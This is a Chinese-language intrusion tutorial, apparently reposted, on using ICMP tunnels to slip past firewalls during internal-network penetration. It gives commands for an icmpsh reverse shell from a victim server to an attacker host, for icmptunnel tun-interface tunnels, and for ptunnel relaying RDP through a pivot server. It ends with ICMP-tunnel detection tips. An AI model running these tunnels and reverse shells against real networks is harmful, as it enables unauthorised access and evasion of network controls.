內網滲透完成信息收集后,流量是否能夠正常進出,是內網滲透中需要考慮的地方之一
? ICMP(Internet ControllerMessages Protocol,網間控制報文協議)是TCP/IP協議族的子協議,是一種面向無連接的協議。用于在IP主機、路由器之間傳遞控制消息。
控制消息是指網絡通不通、主機是否可達、路由是否可用等網絡本身的消息。
這些控制消息雖然并不傳輸用戶數據,但是對于用戶數據的傳遞起著重要的作用。
? 參考文章:
https://baike.baidu.com/item/ICMP/572452?fr=kg_qa
? 在一些網絡環境中,如果攻擊者使用各類上層隧道(例如HTTP隧道,DNS隧道,正反向端口轉發等)進行操作均失敗。
那么可以嘗試使用ICMP建立隧道,ICMP協議不需要端口的開放,因為其基于IP工作的
所以我們將其歸結到網絡層,ICMP消息最為常見的就是ping命令的回復
將TCP/UDP數據包封裝到ICMP的ping數據包中,從而穿過防火墻(通常防火墻是不會屏蔽ping數據包的)
建立ICMP隧道
? 用于建立ICMP隧道的工具一般用icmpsh,icmptunnel,ptunnel,icmpshell
工作原理
? 請求端的 Ping 工具通常會在 ICMP 數據包后面附加上一段隨機的數據作為 Payload
而響應端則會拷貝這段 Payload 到 ICMP 響應數據包中返還給請求端,用于識別和匹配 Ping 請求。
? windows 和 linux 系統下的 Ping 工具默認的 Payload 長度為 64 比特,但實際上協議允許附加最大 64K 大小的 Payload。
? 對于隧道數據,icmptunnel 首先會指定客戶端和服務器端。
隨后,客戶端會將 IP 幀封裝在 ICMP 請求數據包中發送給服務器,而服務器端則會使用相匹配的 ICMP 響應數據包進行回復。
這樣在旁人看來,網絡中傳播的僅僅只是正常的 ICMP 數據包。
icmpsh
? 工具安裝
git clone https://github.com/inquisb/icmpsh.git #下載工具
apt-get install Python-impacket #安裝依賴
sysctl -w net.ipv4.icmp_echo_ignore_all=1 #關閉本地ICMP應答
icmpsh的使用場景如下:
? 服務器暴露在外網上,可以訪問外部網絡,但是服務上有防火墻,拒絕了敏感端口的連接(比如22端口,3389端口等)。
使用icmpsh的目的就是為了能夠繞過對敏感端口的限制,此時ICMP作為獲取反向shell的通道,進行反向shell.
?
攻擊者IP地址: 192.168.1.76
服務器IP地址: 192.168.1.113
? 被攻擊的服務器端運行
icmpsh.exe -t 192.168.1.76(攻擊者)
攻擊者端運行icmpsh的控制端
python icmpsh_m.py 192.168.1.76(攻擊者) 192.168.1.113(被攻擊者)
? 觀察wireshare的流量變化,可以看到這里是由192.168.1.113向192.168.1.76發出request請求,這里也就印證了這里進行的是反向shell。
icmptunnel
? icmptunnel的優勢在于可以穿過狀態防火墻或NAT
? 一些設備會過濾沒有匹配響應數據包的 Ping 包。
而在非對稱連接中,來自服務器端的流量會大于客戶端,反之亦然,這樣客戶端可能會丟棄一些相應數據包,因為響應數據包多余請求數據包。
? icmptunnel 有一個機制來專門解決這個問題。
客戶端會定期發送一個空的 ICMP 請求數據包給狀態防火墻或 NAT,而這些請求數據包都會被記錄在防火墻狀態表中。
同時通過保持發送帶有載體的數據包,這樣客戶端會維持一個可以用于服務器端發送數據的“數據包窗口”。
參考
:https://www.cnblogs.com/bonelee/p/7462218.html
? 安裝icmptunnel
git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel
make
? 可能會出現缺少頭文件的問題,參考文章
:https://blog.csdn.net/zhutingting0428/article/details/51120949
? 使用場景和icmpsh一樣(被攻擊對象為linux的情況下)
攻擊者IP:192.168.1.76
被攻擊者的IP:192.168.26
?
? 攻擊者開啟icmptunnel服務端模式:
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel –s
? 然后另開一個終端,執行命令
/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0
? 指定一個網卡tun0,用于給隧道服務器端分配一個IP地址(10.0.0.1)
?
? 被攻擊者
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel 192.168.1.76
? 連接上攻擊者的icmptunnel服務端,然后再開一個終端,執行命令
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0
? 指定IP地址為10.0.0.2
? 此時建立了icmp隧道,在服務器端通過ssh連接被攻擊對象
ptunnel
? ptunnel就是工具pingtunnel
? 安裝過程如下:
#安裝libpcap的依賴環境
yum -y install byacc
yum -y install flex bison
#安裝libpcap依賴庫
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install
#安裝PingTunnel
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install
? 參考:
https://mp.weixin.qq.com/s/AuGriK1Bha83rVYlGJpuUA
? 該工具在kali中是已經集成好的
? 現有場景如下:一個內網中,有一臺Web服務器,一臺數據庫服務器,Web服務器可以ping通過數據庫服務器,但是不能直接訪問數據庫服務器,已知數據庫服務器此時有開啟3389端口。
攻擊者的IP地址:192.168.1.107(win7)
攻擊者的VPS地址:192.168.1.76(kali)
web服務器的IP地址:192.168.1.26(外網) 172.168.1.16(內網)(kali)
數據庫服務器的IP地址:172.168.1.18(內網)(win server 2008)
?
? 在攻擊者的vps(192.168.1.76)中執行如下命令
ptunnel -p 192.168.1.26 -lp 1080 -da 172.168.1.18 -dp 3389 -x cookie
-p 跳板的公網IP
-lp 指定本機的監聽端口
-da 目標服務器的內網IP
-dp 指定目標服務器的端口
-x 為隧道寫一個隧道密碼,防止隧道濫用
?在Web服務器中執行命令
ptunnel -x cookie
在攻擊者的機器上訪問自己的vps的1080端口
? 可以看到我們雖然連接的是192.168.1.76
但是我們通過使用web服務器作為跳板,將vps的1080端口與數據庫服務器的3389端口連接在一起了。
? 觀察wireshark的流量變化情況
應對icmp隧道措施
使用icmp隧道時,會集中在某個時間點產生大量的icmp數據包,可以通過wireshark進行icmp數據包分析
? 1.檢測同源的icmp數據包數量,正常的ping命令每秒最多兩個數據包,隧道會產生大量的數據包。
? 2.注意payload大于64bit的ICMP數據包
? 3.尋找響應數據包和請求數據包payload不一致的ICMP數據包。
windows系統下ping默認傳輸的是: abcdefghijklmnopqrstuvwabcdefghi,共32bytes
linux系統下,ping默認傳輸的是48bytes,前8bytes隨時間變化,后面的固定不變,內容為!”#$%&’()+,-./01234567
? 參考
:https://www.freebuf.com/articles/network/202634.html
? 4.檢查ICMP數據包的協議標簽,比如icmptunnel會在所有icmp payload前面加上TUNL標識來標識隧道。
作者:餅干屑小鬼
轉載自:
https://xz.aliyun.com/t/7875